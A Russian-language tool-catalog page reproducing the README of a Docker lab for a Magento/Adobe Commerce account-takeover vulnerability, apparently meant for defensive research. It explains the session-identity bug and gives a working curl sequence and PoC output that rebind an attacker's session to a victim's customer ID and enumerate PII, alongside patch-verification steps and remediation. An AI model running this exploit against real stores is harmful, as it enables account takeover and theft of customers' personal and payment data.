Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-71362-magento-lab — Docker-лаборатория, воспроизводящая захват учётной записи Magento/Adobe Commerce CVE-2026-71362 через переключение идентичности клиентской сессии, с PoC и A/B/A-контролем официального патча для авторизованных исследований. | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2026-71362-magento-lab
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и ОбразованиеЛаборатории и Практика
GitHubdinosn/cve-2026-71362-magento-lab

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cve-2026-71362-magento-lab

Docker-лаборатория, воспроизводящая захват учётной записи Magento/Adobe Commerce CVE-2026-71362 через переключение идентичности клиентской сессии, с PoC и A/B/A-контролем официального патча для авторизованных исследований.

Репозиторий
4325 дней назадЕщё не проверено

CVE-2026-71362 — лаборатория переключения идентичности клиентской сессии Magento / Adobe Commerce

Автономная Docker-лаборатория, запускаемая одной командой, которая воспроизводит CVE-2026-71362 от начала до конца и позволяет проверить исправление Adobe, чтобы защитники, исследователи и студенты могли изучать реальный примитив захвата учётной записи на одноразовом магазине.

CVECVE-2026-71362
ПродуктAdobe Commerce · Adobe Commerce B2B · Magento Open Source
КлассНеверная авторизация (CWE-863) — переключение идентичности клиентской сессии → захват учётной записи
Степень опасностиCVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
БюллетеньAdobe APSB26-92 (2026-08-11)
ЗатронутоAdobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — изолированный уровень патча -2026-jul и более ранние
Исправленоизолированный уровень патча -2026-aug (идентификаторы патча 24Xp-2026-08-001-CE)

⚠️ Только авторизованное использование

Эта лаборатория существует для воспроизведения публичной, исправленной уязвимости в целях защитных исследований и обучения. Запускайте её только против одноразового магазина, который она создаёт. Не используйте её против любого экземпляра Magento/Adobe Commerce, которым вы не владеете или на тестирование которого у вас нет явного письменного разрешения. Вы несёте ответственность за соблюдение всего применимого законодательства.


В чём суть бага (версия на 30 секунд)

Magento\Customer\Controller\Account\Edit::execute() передаёт сырые, контролируемые атакующим данные customer_form_data, оставленные в сессии неудачным editPost, в DataObjectHelper::populateWithArray(), который копирует каждый подходящий ключ в объект клиента — включая id. Затем объект записывается обратно через Session::setCustomerData() → setCustomerId($object->getId()), и поскольку Customer\Model\Session::getId() просто возвращает getCustomerId(), перезапись одного только customer_id заставляет isLoggedIn() возвращать true для жертвы. Никакой проверки пароля, токена или права владения. Атакующий, имеющий лишь самостоятельно зарегистрированный одноразовый аккаунт, может перепривязать свою сессию к любому идентификатору клиента и прочитать PII этого аккаунта, заказы, адреса и сохранённые платёжные токены.

Полный разбор: docs/ROOTCAUSE.md. Правила обнаружения и WAF: docs/DETECTION.md.

root@kitploit:~
attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Требования

  • Docker + Docker Compose v2
  • ~6 ГБ свободной оперативной памяти для контейнеров, ~5 ГБ на диске
  • Python 3 (только для запуска PoC) — pip install -r exploit/requirements.txt

Сборка берёт Magento Open Source из публичных источников; ключи Adobe Marketplace не требуются.

Быстрый старт

root@kitploit:~
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Витрина: http://127.0.0.1:8080/ · Админка: http://127.0.0.1:8080/admin (admin / Admin123!). Измените хост/порт в .env (см. .env.example) — значение должно совпадать с URL, который вы открываете в браузере, потому что Magento привязывает свой сессионный cookie к базовому URL магазина.

Ожидаемый вывод PoC (уязвимая версия)

root@kitploit:~
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Проверка исправления (A/B/A отрицательный контроль)

root@kitploit:~
make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch подменяет файл на patch/Edit.patched.php — это точное изменение из апстрима, соответствующее patch/official-APSB26-92-module-customer.patch. Включение и выключение только этого одного файла — это оракул, подтверждающий, что баг именно в этом фрагменте.

Ручное воспроизведение (без Python)

root@kitploit:~
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Устранение уязвимости (реальные магазины)

Примените изолированный патч APSB26-92 от августа 2026 года для вашей ветки (24Xp-2026-08-001-CE). Adobe предоставляет реестр патчей и исходные диффы без учётных данных по адресу https://repo.magento.com/patch/patch-registry.json. Исправления нет в публичном GitHub — для этого исправления не были опубликованы ни Composer-пакет, ни git-тег, поэтому composer update не подтянет его.

Структура

root@kitploit:~
docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Устранение неполадок

  • PoC выводит "still installing" — при первой загрузке компилируется Magento; выполните make logs и дождитесь Install complete, затем make wait.
  • Сразу после установки всё отдаёт 500 — гонка прав на generated/; выполните make shell, затем php bin/magento cache:flush (обычно entrypoint обрабатывает это).
  • Странности с cookie/CSRF — вы обращаетесь к другому хосту, не совпадающему с базовым URL магазина. Держите MAGENTO_HOST/HOST_PORT в .env равными URL, который используете вы (и TARGET).

Ссылки

  • Adobe APSB26-92 · NVD CVE-2026-71362
  • Sansec — Adobe исправляет критический захват аккаунтов Magento (APSB26-92)
  • Исследователь, сообщивший об уязвимости: 0x0.eth

Лицензия

MIT — см. LICENSE. Предоставляется для обучения и авторизованного тестирования, без каких-либо гарантий.

Скачать инструмент